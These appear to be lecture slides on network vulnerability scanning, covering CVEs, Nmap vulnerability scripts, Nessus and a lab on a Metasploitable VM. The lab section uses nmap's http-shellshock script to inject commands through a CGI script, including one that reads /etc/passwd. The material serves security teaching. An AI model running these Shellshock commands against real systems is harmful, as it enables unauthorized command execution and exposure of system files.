Network Vulnerability Scanning
Part 2
Dr. Michael De Lucia
Overview
•
•
•
•
•
NIST Cybersecurity Framework core functions
– In this class: Identify, Protect, Detect
Vulnerability Scanning Identifies weaknesses (i.e., vulnerabilities) and
quickly implements safeguards (i.e., Protection) to deter attacks.
Identification and prioritization of assets (e.g., systems, software)
Vulnerabilities are identified and documented
Vulnerabilities informs the risk management process
Threat Vector
•
•
•
Most reliable methods to conduct an attack on the surfaces is known as a
threat vector
Attack Surface is the space an adversary breaches or attacks
Example Threat Vectors
– Phishing
– Malware
– Ransomware
– Misconfiguration
– Unpatched vulnerabilities
– Others?
CVE
•
•
What is a CVE?
– A systemization and catalog of all known information security
vulnerabilities
– Every new vulnerability is assigned a CVE ID in the form of CVE-yyyyxxxx, where yyyy is the current year and xxxx is a four or more digit.
Records include a description of the vulnerability and links to data sources
CVE
•
•
•
•
•
Located at https://cve.mitre.org/
– Transitioning to: https://www.cve.org
Also, National Institute of Standards and Technology (NIST)
Example Heartbleed: CVE-2014-0160
Links to external vendor and other information on the CVE and suggested
patches
Example Shellshock: CVE-2014-6271
Probing the Network
•
•
•
Enumerating:
– Try to determine what is on the target network (machines, devices, etc.)
Port Scanning:
– Scan well-know ports to see which are open
Vulnerability assessment  Focus of this lecture
– Use of a tool to seek out known vulnerabilities or manually assess
vulnerabilities
Use Nmap as a Vulnerability Scanner
$ nmap –sV --script vulners –webxml –oX results.xml 10.3.0.3
Convert to an html file ** Does not work on the container **
$ xsltproc <nmap-output.xml> -o <nmap-output.html>
**Copy the file to the VM and change ownership to seed user**
$ chown seed results.xml
The results.xml can be opened in firefox
Nmap Vulscan
•
•
https://www.stationx.net/nmap-vulnerability-scan/
Install Vulscan according to the section “Using Vulscan”
•
We will run it as follows:
•
# nmap -sV --script=vulscan/vulscan.nse -webxml -oX results.xml 192.168.239.138
– Note: This is the address of my metasploitable, yours might be different
•
nmap -sV --script=vulscan/vulscan.nse -webxml -oX results.xml 192.168.239.138
– Install xsltproc
– Convert to HTML using: xsltproc results.xml –o results.html
– Can then use firefox to print as a pdf
Scanning Results
•
•
•
•
How to get scanning results?
Formats: pdf, xml, csv
– Why might we want xml or csv? (Which format is machine readable and
searchable?)
Need to analyze the vulnerability results to get useful information
nmap -sV --script=vulscan/vulscan.nse -webxml -oX results.xml 192.168.239.138
– Install xsltproc
– Convert to HTML using: xsltproc results.xml –o results.html
– Can then use firefox to print as a pdf
Create CGI script
•
On metasploitable, create a CGI script
– cd /usr/lib/cgi-bin/
– sudo nano hello_world.sh
#!/bin/bash
echo “Content-type:text/html”
echo “”
echo “Hello World Meta!”
– Ctrl X to save
– Change permissions: sudo chmod 755 hello_world.sh
•
Navigate to http://192.168.239.138/cgi-bin/hello_world.sh
Lets explore shellshock with nmap
Lets do this by the uri
$ nmap –sV –p 80 --script http-shellshock –script-args
uri=/cgi-bin/hello_world.sh 192.168.239.138
$ nmap –sV –p 80 --script http-shellshock -script-args
uri=/cgi-bin/hello_world.sh,cmd='echo ContentType:text/html;echo;id’ 192.168.239.138
•
Exploit results is blank?
– We need to supply the full path to the binary
Lets explore shellshock with nmap
Need to find the full path to the binary on metasploitable
•
which id
– /usr/bin/id
$ nmap –sV –p 80 --script http-shellshock -script-args uri=/cgibin/hello_world.sh,cmd='echo Content-Type:text/html;echo;/usr/bin/id’
192.168.239.138
•
Try a different command of ls
$ nmap –sV –p 80 --script http-shellshock -script-args uri=/cgibin/hello_world.sh,cmd='echo Content-Type:text/html;echo;/bin/ls’
192.168.239.138
•
One more command
$ nmap –sV –p 80 --script http-shellshock -script-args uri=/cgibin/hello_world.sh,cmd='echo Content-Type:text/html;echo;/bin/cat
/etc/passwd’ 192.168.239.138 > output.txt
Nessus
•
•
•
•
•
•
Powerful commercial network scanner
– Nessus Essentials: Personal and Education License limited to 16 IP
addresses available free
Fast and reliable
Works on Windows, Linux/Unix, and Mac
Has a variety of plug-ins that can be enabled to perform certain types of
tests
Detailed output
Does not attempt to fix problems but only gives suggestions
Review
•
•
What tool did we use for scanning a system?
What information does it provide?